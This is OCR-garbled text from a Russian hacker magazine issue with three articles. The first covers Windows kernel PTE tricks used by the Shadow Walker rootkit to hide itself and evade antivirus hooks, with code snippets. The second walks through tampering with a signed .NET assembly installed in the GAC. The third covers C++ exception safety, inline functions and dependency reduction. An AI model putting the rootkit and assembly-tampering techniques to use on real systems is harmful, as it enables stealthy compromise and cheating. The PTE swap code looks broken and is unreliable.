посоветовать вот такой способ обретения указателя на 
таблицы страниц PTE: ((PTE*)(((((ULONG)(VirtualAddress)) 
>> 12) << 2) + PteBaseAddress)), где PteBaseAddress 
равен 0xC0000000. Для любителей махровой лаконич-
ности, сокращений и оптимизации могу посоветовать и 
такой вариант PTE: = ( VirtualAddress >> 10)+0xc0000000. 
Соответственно, обратный алгоритм поиска адресов 
виртуальной памяти по известным PTE будет выглядеть: 
VirtualAddress = PTE << 10.
Стоит, наверное, пояснить. Допустим, у нас есть линейный 
32-байтный адрес: 1100000000.0000000101.0000001001.00
b (точки использованы для удобства). Глядя на этот адрес, 
получим  PTE с номером 1001b в таблице страниц 101b.
В ядре существует целый набор системных функций, пред-
назначенных для работы с памятью, как физической, так 

и виртуальной. Все они имеют префикс Mm*. В юзермоде  
тебе должны быть знакомы функции WriteProcessMemory 
и ReadProcessMemory, хотя на самом деле они являют-
ся «заглушками» для вызова сервисов ядра. Например, 
функция MmGetPhysicalAddress вернет физический 
адрес, что соответствует виртуальному адресу, находя-
щемуся в неподкачиваемой памяти. Системная функция 
ядра — MmIsAddressValid() — всего-навсего проверяет, 
представлена ли страница в физической памяти, т.е. не 
сработает ли исключение «Page Fault» при обращении 
по указанному виртуальному адресу. Если страницы нет, 
то функция вернет FALSE. Также интересна функция 
MmIsNonPagedSystemAddressValid, которая в отличие от 
MmIsAddressValid проверяет, что переданный ей адрес при-
надлежит подкачиваемой или неподкачиваемой областям 
памяти ядра. Так, затрагивая тему работы с виртуальной/
физической памятью, хотелось бы заметить, что у страниц в 
памяти может быть несколько состояний. Перечислим их! 

ÑÏÎÑÎÁ ÐÀÇ, 
ÈËÈ «ÏÎÉÌÀÉ ÌÅÍß, 
ÅÑËÈ ÑÌÎÆÅØÜ!»
В момент обращения страница может присутствовать в 
физической оперативной памяти, а может быть выгру-
женной на внешнюю (дисковую) память. При обращении 
к выгруженной странице памяти процессор генерирует 
исключение #PF — «Page Fault» или отказ страницы, а 
программный обработчик исключения (часть ОС) получит 
необходимую информацию для свопинга — «подкачки» 
отсутствующей страницы с диска. И самое главное — 
страницы не имеют прямой связи с логической структурой 
данных или программ. Абсолютно стандартное поведе-
ние менеджера виртуальной памяти! И ведь кто бы мог 
подумать — эта «особенность» виртуальной памяти ОС 
Windows используется в руткитостроении. Каким образом? 
Если ты знаешь, список системных модулей (читай — 
драйверов) ядра можно получить, вызвав систем-
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На диске ты сможешь 
найти литературу, 
которая поможет 
в отладке и дебаге 
твоего кода. Обещан-
ные сорцы руткита 
Shadow Walker ждут 
тебя там же.

dvd

DVD

info

Будь осторожен при 
опытах с виртуальной 
памятью!

INFO
ТАК МОЖНО ПОЛУЧИТЬ АДРЕСА PTE

¶• Хочешь знать 
все-все о памяти в 
Windows? Бегом на 
gr8.cih.ms/index.
php?entry=entry008 
— лучше этой статьи 
админа форума 
wasm.ru под ником 
Great не найти. 

• Также замеча-
тельная статья по 
управлению памятью 
в ОС Windows, 
правда, на англий-
ском — www.informit.
com/articles/article.
aspx?p=167857. 

links

HTTP://WWW

ÊÀÊ ÏÎËÓ×ÈÒÜ PTE ÄËß ÂÈÐÒÓÀËÜÍÎÃÎ ÀÄÐÅÑÀ
0xe4321000 GetPteAddress:

Oxe4321000
=>0xc0390c84CR3

PTE0x300
0x321

0x390

PTPD

1100 0000 0011 1001 0000 1100 1000 0100
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ную функцию NtQuerySystemInformation 
c параметром SystemModuleInformation 
или открыв директорию «\Driver» вызо-
вом  ZwQueryDirectoryObject. Также 
можно пробежаться по системному списку 
PsLoadedModuleList (расписывать эти спосо-
бы не буду, тема статьи другая, если интерес-
но — за подробностями в Гугл). 
Все известные способы сокрытия драй-
вером заключались в патче указанных 
функций или исключении имени модуля из 
PsLoadedModuleList. 
Но вот на свет появился Shadow Walker — 
руткит уровня ядра. Главной его особенностью 
является способ сокрытия в ядре нужных 
хакеру данных — как правило, Shadow Walker 
скрывает другой драйвер руткита FU. Это, с 
позволения сказать, революционное решение 
заключается в следующем. Загруженный драй-
вер руткита ставит перехват на прерывание 
INT0E и помечает нужные физические страни-
цы как «не представленные в памяти» — 
и в случае обращения менеджера вирту-
альной памяти к этим самым страницам, 
где лежит драйвер, будет сгенерировано то 
самое исключение  — #PF или «PageFault». 
Здорово, правда?
Когда произойдет ошибка страницы (при ее 
чтении) в связи с тем, что PTE помечен как 
недействительный, Shadow Walker опреде-
ляет, является ли страница той, которую 
необходимо скрыть; если да, то подменя-
ются данные на странице. Если происходит 
выполнение на странице кода руткита, 

Shadow Walker просто помечает PTE как 
действительные и дает процессору доступ к 
странице. Правда, проблема здесь в сложно-
сти определения, что именно понадобилось 
процессору: прочесть данные или выполнить 
код. Разработчиками Shadow Walker было 
решено и это; для ознакомления сорцы 
руткита лежат на диске, думаю, ты сможешь 
разобраться сам.

Убираем бит представления 

страницы в памяти

VOID MarkPageNotPresent( 

 PPTE pPte )

{ 

 __asm

 {

   mov eax, pPte

   and dword ptr [eax], 0xFFFFFFFE

 }

}

Эффективность руткита такова, что до сих пор 
вычислить его присутствие в оперативной 
памяти может лишь сигнатурный поиск по 
всей физической памяти или использование 
гипервизора. Много ли современных анти-
вирусов способны на подобное? Если учесть, 
что зачастую данные в силу фрагментирован-
ности разбросаны по всему жесткому диску, а 
гипервизор — неподъемная задача, то руткит 
оказывается не под силу обычным антивиру-
сам. Существует и программный поиск сокры-
тых Shadow Walker страниц в памяти; более 

подробно об этом можно почитать здесь http://
www.ht-group.net/32, однако он ненадежен.

ÑÏÎÑÎÁ ÄÂÀ, 
ÈËÈ «ÍÅ ÂÅÐÜ ÃËÀÇÀÌ ÑÂÎÈÌ»
Теперь перейдем ко второму, крайне 
интересному, но практически неизвест-
ному в широких кругах способу мани-
пуляций с содержимым виртуальной 
памяти. Находясь в ядре, мы всегда 
сможем попасть в адресное простран-
ство любого процесса, вызвав функцию 
KeAttachProcess. Что она делает, я думаю, 
ты понимаешь. Также уверен, что тебе 
знакома такая фича, когда, находясь в 
адресном пространстве, ты можешь отно-
сительно безопасно писать данные вызо-
вом функции ZwWriteProcessMemory, — z 
уже расказывал об этом. Увы и ах! Всякий 
мало-мальски нормальный антивирус 
обычно хукает такую опасную функцию, ибо 
ее использование стоит на первом месте у 
злых кодеров. Но теперь (и я хочу, чтобы ты 
прочувствовал всю значимость момента!), 
используя форму организации страничной 
памяти, можно изменять данные в адрес-
ном пространстве без записи данных; ведь 
надо просто подменить PTE нужного нам 
виртуального адреса! Здесь виртуальная 
память процесса останется нетронутой, но 
при обращении к адресу подмены менед-
жер памяти вернет запрашивающему те 
данные, которые нам нужно подсунуть! 
Смотрим код:
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Подмена страниц PTE по нужному адресу

DWORD ChangePTEOfTarget(DWORD VirtualAddressOfTarget,

    DWORD NewVirtualAddress)

{

 DWORD vaTargetPTEaddress;

 DWORD vaTargetPTE;

 DWORD NewVAPTEaddress;

 DWORD NewVAPTE;

 DWORD source;

 source = VirtualAddressOfTarget;

 source = source >> 12;

 source = source << 2;

 vaTargetPTEaddress = 0xC0000000 + source;

 vaTargetPTE = *vaTargetPTEaddr;

 source = NewVirtualAddress;

 source = source >> 12;

 source = source << 2;

 NewVAPTEaddress = 0xC0000000 + source;

 NewVAPTE = *NewVAPTEaddress;

 __asm cli

 vaTargetPTEaddress = source;

 __asm sti

 return source; }

 
Вот в принципе и все. Если постараться, то можно сократить и усовер-
шенствовать этот код. Столь простая, но крайне эффективная техника 
может легко использоваться для подмены данных в адресном про-
странстве процесса (сколько простора для геймчитеров!) или вызывать 
напрямую похуканые проактивными защитами важные системные 
функции. 

ÏÓÒÅØÅÑÒÂÈÅ Â ÇÀÇÅÐÊÀËÜÅ 
На примере этой статьи можно видеть, что мир процессов — а это игры, 
антивирусные программы, да все что угодно, что крутится в таскменедже-
ре Windows — довольно зыбок и нельзя однозначно полагаться на то, что 
ты видишь собственными глазами. В общем, «The matrix has you, Neo!». 
Мир виртуальной памяти Windows поистине захватывает, и путешествие 
в его глубины сродни путешествию в Зазеркалье. Приложишь немного 
усилий — и тебе станет подвластна вся операционная система. Удачного 
компилирования и да пребудет с тобой Сила! z
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ÂÛ×ÈÑËÈÒÜ ÏÐÈÑÓÒÑÒÂÈÅ ÝÒÎÃÎ ÐÓÒÊÈÒÀ Â ÎÏÅÐÀÒÈÂÍÎÉ ÏÀÌßÒÈ 
ÄÎ ÑÈÕ ÏÎÐ ÌÎÆÅÒ ËÈØÜ ÑÈÃÍÀÒÓÐÍÛÉ ÏÎÈÑÊ ÏÎ ÂÑÅÉ ÔÈÇÈ×ÅÑÊÎÉ 
ÏÀÌßÒÈ ÈËÈ ÈÑÏÎËÜÇÎÂÀÍÈÅ ÃÈÏÅÐÂÈÇÎÐÀ. ÌÍÎÃÎ ËÈ ÀÍÒÈÂÈÐÓÑÎÂ 
ÑÏÎÑÎÁÍÛ ÍÀ ÏÎÄÎÁÍÎÅ?

КАК «РАСКЛАДЫВАЕТСЯ» ЛИНЕЙНЫЙ АДРЕС
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ÏÐÈÂÀÒÍÛÅ ÑÁÎÐÊÈ 
При подписании библиотеки (назначении 
строгого имени) открытый ключ записывается 
в манифест. Таким образом, чтобы внести 
изменения в чужую подписанную библиоте-
ку, нужно просто заменить публичный ключ 
на свой. Или — еще проще — сделать новую 
сборку с таким же именем и подписать на 
своем ключе.
При использовании библиотеки любой публич-
ный ключ будет принят как доверенный.
Проведем эксперимент, создадим небольшую 
библиотечку:

Библиотека signedLib.dll

namespace signedLib

{

  public class sLib

  {

    public static int GetNumber() 

    { 

      return 1; 

    }

  }

} 

Подпишем ее и добавим к проекту консольного 
приложения: 

Консольное приложение changeKey.exe

namespace changeKey

{

  class Program

  {

    static void Main(string[] args)

    {

      Console.WriteLine(

       signedLib.sLib.GetNumber());

      Console.ReadLine();

    }

  }

} 

Затем скомпилируем релиз проекта. С помо-
щью .NET Reflector [1] и плагина Reflexil [2] 
отредактируем IL-код подписанной библио-
теки (signedLib.dll), так что GetNumber() будет 
возвращать не «1», а «2». Консольное при-
ложение не заметило подмены и вывело «2». 
Вывод: подменить/изменить приватную сборку 
со строгим именем очень просто. Другие сбор-
ки, ссылающиеся на измененную, никак на это 
не реагируют, несмотря на то, что они были 
скомпилированы с оригинальной. Обращаю 
внимание, что речь идет именно о приватных 
сборках, со сборками в GAC дело обстоит 
иначе.
 

ÑÁÎÐÊÈ Â GAC 
Как мы только что убедились, подписанные 
приватные компоновочные блоки можно легко 
модифицировать. При этом необязательно 
обладать исходниками, секретным ключом, 
правами администратора.

Вносить изменения в сборки, установленные в 
GAC, не многим сложнее. В случае с приватны-
ми сборками их «подписанность» никакой роли 
не играет. Подпись не проверяется, а «полный 
идентификатор приватного компоновочного 
блока состоит из имени компоновочного блока 
и числового номера его версии» (из книги Э. 
Троелсена, если что :)). Сборки, устанавли-
ваемые в GAC, должны иметь так называемое 
строгое имя. Сборка получает строгое имя в 
момент ее подписания. Идентификаторы сбо-
рок в GAC дополняются параметрами публич-
ного ключа, подписи проверяются. Замуровали, 
демоны! Что же это получается? Окружили со 
всех сторон:
• Незаметно внести изменения не получится — 
подпись проверку не пройдет. 
• Свой публичный ключ не подсунешь — иден-
тификатор сборки изменится.
Тем не менее, не нужно быть криптографом, 
чтобы все же изменить библиотеку в GAC. 
Требуется лишь обладать правами администра-
тора и знать параметры утилиты sn.exe (стра-
дальцы, не имеющие Студии, вручную использу-
ют стандартную утилиту sn.exe для подписания 
компоновочных блоков). Итак, возьмем проект 
уже знакомой библиотеки signedLib.dll (смотри 
выше). Подпишем ее и установим в GAC.

gacutil.exe /i D:\projects\

changeKey\signedLib\bin\Release\

signedLib.dll

ÇÀÄÓÌÀËÑß ß ÒÓÒ ÍÀÄ ÑÌÛÑËÎÌ ÏÎÄÏÈÑÀÍÈß ÊÎÌÏÎÍÎÂÎ×ÍÛÕ 
ÁËÎÊÎÂ .NET. ÍÀÂÅÐÍßÊÀ, ÒÛ ÒÎÆÅ ÏÎÄÏÈÑÛÂÀË ÑÂÎÈ ÁÈÁËÈÎÒÅÊÈ, 
×ÒÎÁÛ ÓÑÒÀÍÎÂÈÒÜ ÈÕ Â GAC. Â ÕÎÄÅ ÑÅÃÎÄÍßØÍÅÃÎ ÐÀÑÑËÅÄÎÂÀÍÈß 
ÌÛ ÍÀÓ×ÈÌÑß ÈÇÌÅÍßÒÜ ÏÎÄÏÈÑÀÍÍÛÅ ÑÁÎÐÊÈ, ÍÅ ÎÁËÀÄÀß 
ÈÑÕÎÄÍÈÊÀÌÈ È ÑÅÊÐÅÒÍÛÌÈ ÊËÞ×ÀÌÈ.
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Упомянутый в статье 
софт и некоторые 
дополнительные 
ништяки от автора 
ты можешь найти на 
нашем диске.
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Для комфортного 
чтения статьи нужно 
обладать базовыми 
знаниями в области 
криптографии с от-
крытым ключом.

INFO

Добавим референс к консольному приложению changeKey.
exe. Компилируем релиз, убеждаемся, что в папке с про-
граммой нет файла signedLib.dll (это значит, что сборка 
будет загружена из GAC). Запускаем changeKey.exe — при-
ложение показывает «1».
С этого момента воображаем себя атакующими — у нас нет 
исходников, нет секретного ключа. Но надо, чтобы метод 
GetNumber() возвращал не 1, а 2.
Структуру файлов ниже C:\Windows\assembly проводник 
Windows не показывает. Создадим псевдодиск, на который 
будет проецироваться нужный каталог:

subst b: C:\Windows\assembly

В проводнике появился диск B.
.Net-сборки попадают в папку GAC_MSIL; находим нужную 
папку (ее название совпадает с названием .dll файла). 
Внутри будет еще одна папка, а в ней, наконец, signedLib.
dll. Копируем signedLib.dll на рабочий стол.
С помощью замечательной программы .NET Reflector и не 
менее замечательного плагина Reflexil (на нашем диске 
все это хозяйство тебя уже заждалось) мы будем редак-
тировать библиотеку. Предварительно перепишем токен 
публичного ключа и его значение в блокнот (пригодятся 
позже). Как мы уже знаем, публичный ключ записан в 
самой сборке, и теперь в этом можно окончательно убе-
диться.
После правки IL-кода и сохранения изменений программа 
сообщит о том, что цифровая подпись нарушена и предло-
жит варианты дальнейших действий. 
Нажимаем «Remove Strong Name» — удалить цифро-
вую подпись. Закрываем сборку (теоретически закры-
вать сборку нет необходимости и нам должен подойти 
вариант «Register it for verification skipping», однако у 
меня эта операция заканчивается ошибкой; к тому же, 
в обучающих целях лучше проделать все вручную).
Теперь у нас есть:
• Измененная, неподписанная dll;
• Публичный ключ оригинальной библиотеки.
Осталось установить ее в GAC. Для этого воспользуемся 
механизмом отложенной подписи. Если сборка содержит 
информацию о публичном ключе, но не имеет цифровой 
подписи — говорят, что она имеет отложенную подпись 
(придумал это какой-то надмозг из Майкрософт «с целью 
тестирования»).
Сделать такую сборку с помощью .NET Reflector не состав-
ляет никакой сложности — нужно заполнить соответствую-
щие поля, они выделены желтым на рисунке «Параметры 
публичного ключа» (мы копировали их значения в блокнот). 
И не забудь поставить галочку «HasPublicKey» (в теории 
публичный ключ нужно извлекать из секретного с помощью 
утилиты sn.exe и потом с помощью нее же создавать отло-
женную подпись).
Итак, мы получили сборку, которая называется так же, 
как оригинальная, имеет такую же версию и такой же 
публичный ключ. Получается, если ее установить в GAC, 
она получит точно такой же идентификатор, что и ори-
гинальная (смотри начало статьи). Как я писал выше, по 

умолчанию у сборок в GAC проверяется подпись, однако 
проверку подписи можно отключить — опять же «для 
тестирования».
Чтобы отключить проверку подписи dll на данном компьюте-
ре, нужно воспользоваться sn.exe:

sn -Vr C:\Users\Alex\Desktop\signedLib.dll

Удаляем оригинальную сборку из GAC:

gacutil /u signedLib,Version=1.0.0.0,Culture=

   neutral,PublicKeyToken=2b1b71846e76146e

И устанавливаем измененную:

gacutil /i 

  C:\Users\Alex\Desktop\signedLib.dll

Радуемся, глядя на выведенную gacutil.exe надпись:

Assembly successfully added to the cache

Вот мы и добились желаемого — изменили библиотеку, 
установленную в GAC. Чтобы еще раз порадоваться (и про-
верить результат), запускаем наше приложение changeKey.
exe, которое в начале статьи выводило 1. Ура, теперь он 
покажет 2!

ÏÎÄÂÅÄÅÌ ÈÒÎÃ
САМОЕ ВРЕМЯ ПОДВЕСТИ ИТОГ НАШИМ СЕГОДНЯШНИМ 
СВЕРШЕНИЯМ. СДЕЛАЕМ ЭТО ПО ПУНКТАМ: 
• Публичный ключ записан в самой сборке (точнее, в мани-
фесте);
• В случае с приватными сборками подписи не проверяют-
ся.
Чтобы изменить сборку в CAG, нужно:
1. Сделать копию нужного dll-файла из C:\Windows\assembly 
(воспользовавшись командой subst).
2. Извлечь из сборки публичный ключ.
3. Модифицировать IL-код сборки и удалить цифровую под-
пись.
4. Добавить к измененному файлу публичный ключ, получен-
ный на шаге 2 (создадим отложенную подпись).
5. Отменить проверку цифровой подписи для модифициро-
ванной сборки на данном компьютере.
6. Удалить оригинальную сборку из GAC.
7. Установить модифицированную сборку.
Для реализации шагов 5-7 нужно обладать правами 
администратора. Вот и все! На этом позволь откланяться 
и пожелать тебе огромных творческих узбеков на ниве 
исследований программного обеспечения. z

ПАПКИ НИЖЕ 
C:\WINDOWS\
ASSEMBLY

ЦИФРОВАЯ 
ПОДПИСЬ 
НАРУШЕНА

ПАРАМЕТРЫ ПУБЛИЧНОГО КЛЮЧА
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ÏÐÎÄÎËÆÀÅÌ ÈÇÓ×ÀÒÜ ÏÎÄÂÎÄÍÛÅ ÊÀÌÍÈ ßÇÛÊÀ Ñ++. 
Â ×ÅÒÂÅÐÒÎÉ ×ÀÑÒÈ ÍÀØÅÃÎ ÝÏÈ×ÅÑÊÎÃÎ ÏÎÂÅÑÒÂÎÂÀÍÈß 
ÌÛ, ÊÀÊ ÂÑÅÃÄÀ, ÓÇÍÀÅÌ ÒÐÈ ÏÐÀÂÈËÀ, ÁËÀÃÎÄÀÐß ÊÎÒÎÐÛÌ 
ÆÈÇÍÜ ÏÐÎÑÒÎÃÎ CPP-ÊÎÄÅÐÀ ÑÒÀÍÅÒ ×ÓÒÎ×ÊÓ ÏÐÎÙÅ. ×ÈÒÀÅÌ 
È ÏÐÎÑÂÅÙÀÅÌÑß, ÂÅÄÜ ÑËÅÄÓÞÙÈÅ ÍÅÑÊÎËÜÊÎ ÑÒÐÀÍÈÖ 
ÐÀÑÑÊÀÆÓÒ ÍÀÌ ÏÐÎ ÁÅÇÎÏÀÑÍÎÑÒÜ ÎÒÍÎÑÈÒÅËÜÍÎ ÈÑÊËÞ×ÅÍÈÉ, 
INLINE-ÔÓÍÊÖÈÈ È ÓÌÅÍÜØÅÍÈÅ ÇÀÂÈÑÈÌÎÑÒÈ ÔÀÉËÎÂ ÏÐÈ 
ÊÎÌÏÈËßÖÈÈ. 

ПРОГРАММЕРСКИЕ 
ТИПСЫ И ТРИКСЫ

CODING
 deeonis  deeonis@gmail.com

ÏÐÀÂÈËÎ ¹1
Предположим, у нас есть некий класс, 
который отображает пункты меню с фоновым 
рисунком (backround). Класс рассчитан на 
работу в многопоточном приложении. Для 

смены бэкраунда используется функция 
changeBackround:

Класс PrettyMenu

class PrettyMenu {

public:

 …

void changeBackround(

   std::istream& imgSrc);

 …

private:

Òðè ïðàâèëà êîäèíãà íà C++ äëÿ íàñòîÿùèõ ñïåöîâ 
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 Mutex mutex;

 Image *bgImage;

 int imageChanges;

};

void PrettyMenu::changeBackround(std::istream& imgSrc)

{

 lock(&mutex);

 delete bgImage;

 ++imageChanges;

 bgImage = new Image(imgSrc);

 unlock(&mutex);

}

С точки зрения безопасности в плане исключений эта функция чуть луч-
ше, чем просто ужасна. А все потому, что она не выполняет два основных 
требования: «не допускать утечки ресурсов» и «гарантировать целост-
ность структур данных».
Код функции changeBackround, в случае возбуждения исключения 
строкой new Image(imgSrc), никогда не освободит мьютекс, потому 
что управление просто не дойдет до функции unloсk. Исправить это 
достаточно просто, нужно лишь использовать объекты управления 
ресурсами. В предыдущих статьях мы подробно говорили о них. Тело 
функции changeBachround после применения управляющего объекта 
будет выглядеть примерно так:

Использование управляющего объекта класса Lock

void PrettyMenu::changeBackround(std::istream& imgSrc)

{

 Lock ml(mutex);

 delete bgImage;

 ++imageChanges;

 bgImage = new Image(imgSrc);

}

Мало того, что мы теперь точно знаем, что мьютекс всегда будет 
освобожден по завершению функции (в том числе и при возбуждении 
исключения), так еще и код стал намного удобнее для восприятия.
Целостность данных наша функция тоже не может гарантировать. Если 
new Image(imgSrc) возбудит исключение, в bgImage останется указатель 
на удаленный объект. Более того, счетчик imageChanges увеличится, 
несмотря на то, что новая картинка не будет установлена. Отлично, 
будем разбираться.
Существуют три вида гарантии безопасности структур данных:
• базовая гарантия;
• строгая гарантия;
• гарантия отсутствия исключений.
Базовая гарантия подразумевает, что любой сценарий выполнения 
функции не приведет к порче данных. То есть, даже в случае неудачного 
конструирования объекта imgSrc указатель bgImage будет ссылаться на 
корректную картинку. Тут нет однозначности. Этой картинкой может быть 
предыдущий фон, а может быть фон по умолчанию и т. д. Пользователи 
кода не смогут точно знать, что там находится и нам придется вводить 
дополнительные функции.
Строгая гарантия подразумевает только два состояния: «до выполнения 
функции» и «после». Иначе говоря, функция фактически является ато-

марной и в случае, если что-то пойдет не так, гарантирует, что состояние 
всех переменных будет такое же, как и до ее запуска. Гарантия отсут-
ствия исключений подразумевает под собой, что код, обеспечивающий 
такую гарантию, никогда не возбуждает исключений, а всегда делает 
то, что должен. Этого можно добиться, если работать исключительно со 
встроенными типами. Но в рамках языка C++ очень трудно предоставить 
такую гарантию, поскольку любой класс, использующий динамическое 
распределение памяти, может возбуждать исключение bad_alloc.
Для функции changeBackround предоставить «почти строгую» гарантию 
нетрудно. Во-первых, нужно обернуть bgImage умным указателем (объ-
ектом управления ресурсами). Строго говоря, так надо делать всегда, 
это позволит избежать утечки ресурсов. Во-вторых, требуется изменить 
порядок предложений в функции changeBackround, чтобы значение 
счетчика не увеличивалось до тех пор, пока картинка не будет заменена. 
Вот какой код получается в результате:

Строгая гарантия

class PrettyMenu {

public:

 …

 std::tr1::shared_ptr<Image> bgImage;

 …

};

void PrettyMenu::changeBackround(std::istream& imgSrc)

{

 Lock ml(mutex);

 bgImage.reset(new Image(imgSrc));

 ++imageChanges;

}

Теперь не надо вручную удалять старую картинку; за нас это делает интел-
лектуальный указатель. Удаление происходит только в случае, если новая 
картинка уже создана. Но не всегда можно обеспечить «строгую гарантию», 
особенно если функция вызывает другие, которые не дают такой гарантии. 
Например, у нас есть функция someFunc, которая вызывает f1 и f2:

void someFunc()

void someFunc()

{

  …

  f1();

  f2();

  …

}

Ясное дело, что если f1 и f2 не обеспечивают строгих гарантий, то 
будет трудно их обеспечить и для someFunc. Более того, даже если 
эти функции и дают такие гарантии, ситуация в целом не поменяется. 
Предположим, что f1 успешно отработала, а f2 вызвала исключение. 
Тогда someFunc уже не сможет восстановить начальные значения всех 
переменных, так как f1 уже, возможно, что-то изменила и пользователи 
этого кода могут работать с новыми значениями переменных (например, 
если f1 изменяет записи в БД).
Обеспечивать строгую гарантию часто очень накладно в плане расхода 
системных ресурсов. Поэтому в некоторых случаях стоит сосредоточить-
ся на базовой гарантии.
В итоге надо помнить, что безопасные относительно исключений 
функции не допускают утечки ресурсов и повреждения структур данных. 
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Строгая гарантия часто может быть реализована посредством копиро-
вания и обмена, но предоставлять ее для всех функций непрактично. 
И, наконец, функция обычно может предоставить гарантию не строже, 
чем самая слабая гарантия, обеспечиваемая вызываемыми из нее 
функциями.

ÏÐÀÂÈËÎ ¹2
Теперь немного о встраиваемых функциях. Этот замечательный 
механизм служит заменой макросов в C++. При использовании inline-
функций мы не только избегаем накладных расходов, связанных с вызо-
вом функций, но и получаем более высокий уровень оптимизации кода. 
Дело в том, что оптимизация, выполняемая компилятором, наиболее 
эффективна на участке кода, не содержащем вызовов функций.
Не стоит увлекаться, так как чрезмерное использование встраивае-
мых функций приводит к разбуханию кода. В итоге может получиться, 
что программа разбухнет в памяти, и скорость ее исполнения заметно 
снизится. Блоки кода могут просто кэшироваться в файле подкачки, что, 
понятно, не совсем хорошо, так как работа с жестким диском гораздо 
медленнее, нежели с оперативной памятью. Тело встроенной функции 
должно быть достаточно маленьким; в этом случае код, сгенерирован-
ный для нее, может быть короче кода, сгенерированного для вызова 
функции.
Директива inline — всего лишь совет компилятору, а не команда, поэтому 
компилятор может встроить функцию, а может и нет. Инлайн-функцию 
можно объявить неявно, определив тело функции внутри определения 
класса:

Неявное определение inline-функции

class Person {

public:

 …

 // íåÿâíûé çàïðîñ íà âñòðàèâàíèå

 int age() const { return theAge;}

 …

private:

 int theAge;

};

Большинство компиляторов отвергают встраивание функций, которые 
представляются слишком сложными, или если функция объявлена 
виртуальной. Дескриптор virtual означает «какую точно функцию вы-
звать, определяется в момент исполнения», а inline – «перед исполне-
нием заменить вызов функции ее кодом». Если компилятор не знает, 
какую функцию ему вызвать, то и встроить он ее не может. Большинство 
компиляторов выдают предупреждение о невозможности выполнить 
запрошенное встраивание.
Встречаются случаи, когда функция может быть одновременно встраи-
ваемой и не встраиваемой, например, если мы пытаемся получить 
указатель на нее. В этом случае генерируется ее код, так как указатель 
должен на что-то ссылаться:

Указатель на inline-функцию

inline void f() {…}

void (*pf)() = f;

…

// ýòîò âûçîâ áóäåò âñòðîåííûì

f();

// à ýòîò, ñêîðåå âñåãî, íåò

pf();

Самыми неудачными кандидатами на встраивание будут конструкторы и 
деструкторы. Рассмотрим пример:

Кандидаты на встраивание

class Base {

public:

 …

private:

 std::string bm1, bm2;

};

class Derived: public Base {

public:

 Derived(){}

 …

private:

 std::string dm1, dm2, dm3;

};

Конструктор дочернего класса выглядит как идеальная функция для 
встраивания, поскольку ее тело не содержит никакого кода. Но это не 
совсем так. Стандарты языка C++ накладывают довольно строгие обяза-
тельства на конструкторы и деструкторы. Первые должны инициализи-
ровать внутренние переменные, вызывать конструкторы родительских 
классов, корректно обрабатывать исключения, возникшие в результате 
неудачного создания внутренних переменных и т. д. Деструкторы дела-
ют то же самое с точностью до наоборот.
Все это происходит не само собой; для этих целей компилятором 
генерируется специальный управляющий код. Он иногда помещается 
в конструкторы и деструкторы. В итоге, тело Derived может выглядеть 
примерно так:

Код, генерируемый компилятором

Derived::Derived()

{

 Base::Base();

 try {dm1.std::string::string();}

 catch(...) {

  Base::~Base();

  throw;

 }

 try {dm2.std::string::string();}

 catch(...) {

  dm1.std::string::~string();

  Base::~Base();

  throw;

 }

 try {dm3.std::string::string();}

 catch(...) {

  dm2.std::string::~string();

  dm1.std::string::~string();

  Base::~Base();

  throw;

 }

}

Получается, наш конструктор не так уж и подходит для встраивания, 
а если учесть, что конструкторы родительских классов и внутренних 
переменных тоже могут быть встроенными, то налицо многократное раз-
бухание кода. Что не преминет сказаться на его производительности.
Разработчики библиотек также должны с осторожностью относиться 
к inline-функциям. Если те есть в библиотеке, то при ее обновлении 
придется перекомпилировать весь проект, чтобы новые тела функций 



XÀÊÅÐ  03  /134/  10  113 

встроились заново. Большинство же крупных проектов очень на-
кладно перекомпилировать целиком, так как это занимает слишком 
много времени, да и вообще, об обновлении библиотеки может никто 
не знать.
Большинство дебаггеров не умеют корректно работать с inline-
функциями, поэтому на этапе отладки все встроенные функции 
превращаются в совершенно обычные. Таким образом, на начальном 
этапе разработки лучше отказаться от встраиваемых функций, а потом 
уже аккуратно выбрать те, которые действительно должны получить 
директиву inline.
Подводя итог этому правилу, запомним, что делать встраиваемыми 
следует только небольшие, часто вызываемые функции. Также не нужно 
объявлять шаблоны функций встроенными только потому, что они по-
являются в заголовочных файлах.

ÏÐÀÂÈËÎ ¹3
Представим самую обычную ситуацию: мы открываем нашу програм-
му на C++, вносим в реализацию какого-либо класса изменения и за-
пускаем процесс компиляции. Если программа достаточно большая, 
то в ней много зависимостей, что приведет к долгой перекомпиля-
ции. А изменения мы вносили даже не в интерфейс класса, а всего 
лишь в реализацию (например, добавили переменную в раздел 
private), то есть в ту часть класса, которая скрыта от его клиентов. 
Компиляция всего кода, использующего класс с измененной реали-
зацией, в этом случае выглядит нелогично.
Все дело в том, что C++ не проводит сколько-нибудь значимого разли-
чия между интерфейсом и реализацией:

Интерфейс и реализация

#include <string>

#include "date.h"

#include "address.h"

class Person {

public:

 Person ( const std::string& name, 

  const Date& birthday, 

  const Address& addr);

 std::string name() const;

 std::string birthDate() const;

 std::string address() const;

 …

private:

 // äåòàëè ðåàëèçàöèè

 std::string theName;

 Date theBirthDate;

 Address theAddress;

};

Главная причина, почему C++ настаивает на размещении деталей 
реализации класса в его определении — это необходимость знать 
размер объектов во время компиляции для выделения памяти под них. 
Вследствие этого мы не можем использовать опережающее описание, 
которое может избавить нас от зависимостей между реализацией и ин-
терфейсом в C++. Есть два способа избавиться от таких зависимостей: 
класс-дескриптор и интерфейсный класс. Суть первого метода заключа-
ется в том, что нужно создать два класса: один — для представления 
интерфейса, а другой — для его реализации. Если класс, содержащий 
реализацию, назвать PersonImpl, то Person должен выглядеть так:

Класс-дескриптор

#include <string>

#include <memory>

// îïåðåæàþùèå îïðåäåëåíèÿ

class PersonImpl;

class Date;

class Address;

class Person {

public:

 Person ( const std::string& name, 

  const Date& birthday,

  const Address& addr);

 std::string name() const;

 std::string birthDate() const;

 std::string address() const;

 …

private:

 std::tr1::shared_ptr<PersonaImpl> pImpl;

};

Здесь главный класс Person не содержит никаких данных членов, кроме 
указателя на свой класс реализации. При таком дизайне пользователи 
класса Person не видят деталей реализации — дат, адресов и имен. 
Реализация может быть модифицирована как угодно, при этом моди-
фицировать программы, в которых используется Person, не придется. 
Функции-члены класса Person просто переадресовывают все вызовы 
соответствующим классам реализаций.
Второй подход, позволяющий избавится от таких зависимостей (интер-
фейсные классы), реализуется немного по-другому. Объявляется класс с 
набором чисто виртуальных функций (которые и являются интерфейсом), 
а затем выступает в качестве родительского класса для реализации:

Интерфейсный класс

class Person {

public:

 virtual ~Person ();

 virtual std::string name() const = 0;

 virtual std::string birthDate() const = 0;

 virtual std::string address() const = 0;

 …
